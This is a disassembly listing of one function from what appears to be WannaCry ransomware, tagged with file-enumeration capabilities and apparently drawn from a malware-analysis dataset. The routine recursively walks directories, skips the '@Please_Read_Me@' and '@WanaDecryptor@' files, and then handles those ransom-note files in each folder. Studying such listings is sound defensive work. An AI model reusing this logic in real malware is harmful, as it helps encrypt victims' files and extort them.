Function at 0x4026b0
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x41356e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x56c
mov al, byte [esp + 3]
push ebx
push ebp
xor ebx, ebx
mov ebp, ecx
push ebx
push ebx
lea ecx, [esp + 0x24]
mov byte [esp + 0x24], al
call fcn.0040c8f0
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], ebx
mov cl, byte [esp + 0xb]
push ebx
mov byte [esp + 0x10], cl
push ebx
lea ecx, [esp + 0x14]
mov dword [esp + 0x584], ebx
call fcn.0040c8f0
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebx
mov edx, dword [esp + 0x584]
lea eax, [esp + 0x54]
push edx
push 0x4201b8
push eax
mov byte [esp + 0x588], 1
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0xc
lea ecx, [esp + 0x324]
lea edx, [esp + 0x54]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
jne 0x4027b4
mov eax, dword [esp + 0x10]
mov byte [esp + 0x57c], bl
push eax
mov ecx, dword [eax]
lea eax, [esp + 0x2c]
push ecx
push eax
lea ecx, [esp + 0x18]
call fcn.00402e00
mov ecx, dword [esp + 0x10]
push ecx
call sub.MFC42.DLL_operatordelete
mov eax, dword [esp + 0x24]
add esp, 4
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
mov ecx, dword [eax]
push eax
lea edx, [esp + 0x2c]
push ecx
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x588], 0xffffffff
call fcn.00402e00
mov eax, dword [esp + 0x20]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
jmp 0x402ace
push esi
mov esi, dword [sym.imp.MSVCRT.dll_wcscmp]
push edi
mov edi, dword [sym.imp.MSVCRT.dll_wcslen]
mov eax, dword [ebp + 0x4d0]
cmp eax, ebx
je 0x4027d4
cmp dword [eax], ebx
jne 0x402978
lea ecx, [esp + 0x358]
push 0x4201b4
push ecx
call esi
add esp, 8
test eax, eax
je 0x40295d
lea edx, [esp + 0x358]
push 0x4201ac
push edx
call esi
add esp, 8
test eax, eax
je 0x40295d
mov ecx, dword [esp + 0x58c]
lea eax, [esp + 0x358]
push eax
push ecx
lea edx, [esp + 0x64]
push 0x4201a0
push edx
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0x10
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x4028b6
lea ecx, [esp + 0x358]
lea edx, [esp + 0x5c]
push ecx
push edx
mov ecx, ebp
call fcn.00402af0
test eax, eax
jne 0x40295d
mov al, byte [esp + 0x13]
push ebx
lea ecx, [esp + 0x3c]
mov byte [esp + 0x3c], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
lea ecx, [esp + 0x5c]
push ecx
call edi
add esp, 4
lea edx, [esp + 0x5c]
lea ecx, [esp + 0x38]
push eax
push edx
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::assign_unsigned_short_int_const___unsigned_int_]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x38]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
lea ecx, [esp + 0x30]
mov byte [esp + 0x590], 2
call fcn.00402da0
mov byte [esp + 0x584], 1
push 1
lea ecx, [esp + 0x3c]
jmp 0x402957
lea eax, [esp + 0x358]
push str._Please_Read_Me_.txt
push eax
call esi
add esp, 8
test eax, eax
je 0x40295d
lea ecx, [esp + 0x358]
push str._WanaDecryptor_.exe.lnk
push ecx
call esi
add esp, 8
test eax, eax
je 0x40295d
lea edx, [esp + 0x358]
push str._WanaDecryptor_.bmp
push edx
call esi
add esp, 8
test eax, eax
je 0x40295d
mov al, byte [esp + 0x13]
push ebx
lea ecx, [esp + 0x4c]
mov byte [esp + 0x4c], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
lea ecx, [esp + 0x5c]
push ecx
call edi
add esp, 4
lea edx, [esp + 0x5c]
lea ecx, [esp + 0x48]
push eax
push edx
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::assign_unsigned_short_int_const___unsigned_int_]
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x48]
push eax
lea edx, [esp + 0x38]
push ecx
push edx
lea ecx, [esp + 0x20]
mov byte [esp + 0x590], 3
call fcn.00402da0
mov byte [esp + 0x584], 1
push 1
lea ecx, [esp + 0x4c]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x32c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4027c2
mov edx, dword [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x18]
mov esi, dword [eax]
cmp esi, eax
je 0x4029b9
mov eax, dword [ebp + 0x4d0]
cmp eax, ebx
je 0x40299b
cmp dword [eax], ebx
jne 0x4029b9
mov eax, dword [esi + 0xc]
cmp eax, ebx
jne 0x4029a7
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push eax
mov ecx, ebp
call fcn.00402560
mov esi, dword [esi]
mov eax, dword [esp + 0x18]
cmp esi, eax
jne 0x40298d
mov eax, dword [esp + 0x28]
mov esi, dword [eax]
cmp esi, eax
je 0x4029ef
mov eax, dword [ebp + 0x4d0]
cmp eax, ebx
je 0x4029d1
cmp dword [eax], ebx
jne 0x4029ef
mov eax, dword [esi + 0xc]
cmp eax, ebx
jne 0x4029dd
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push eax
mov ecx, ebp
call fcn.004026b0
mov esi, dword [esi]
mov eax, dword [esp + 0x28]
cmp esi, eax
jne 0x4029c3
mov esi, dword [esp + 0x58c]
mov edi, dword [sym.imp.MSVCRT.dll_swprintf]
push str._Please_Read_Me_.txt
push esi
lea eax, [esp + 0x64]
push 0x4201a0
push eax
call edi
add esp, 0x10
lea ecx, [esp + 0x5c]
push ecx
call dword [0x4217b4]
push str._WanaDecryptor_.exe.lnk
push esi
lea edx, [esp + 0x64]
push 0x4201a0
push edx
call edi
add esp, 0x10
lea eax, [esp + 0x5c]
push eax
call dword [0x4217b4]
mov eax, dword [esp + 0x18]
mov byte [esp + 0x584], bl
mov edi, eax
mov esi, dword [eax]
cmp esi, eax
je 0x402a6a
mov eax, esi
mov esi, dword [esi]
lea ecx, [esp + 0x34]
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.00402e90
cmp esi, edi
jne 0x402a4f
mov eax, dword [esp + 0x18]
push eax
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x2c]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
add esp, 4
mov eax, dword [esi]
mov dword [esp + 0x584], 0xffffffff
cmp eax, esi
mov dword [esp + 0x20], eax
je 0x402aba
lea edx, [esp + 0x34]
push ebx
push edx
lea ecx, [esp + 0x28]
call fcn.00402d90
mov eax, dword [eax]
lea ecx, [esp + 0x58]
push eax
push ecx
lea ecx, [esp + 0x2c]
call fcn.00402e90
cmp dword [esp + 0x20], esi
jne 0x402a94
mov edx, dword [esp + 0x28]
push edx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x574]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x578
ret 4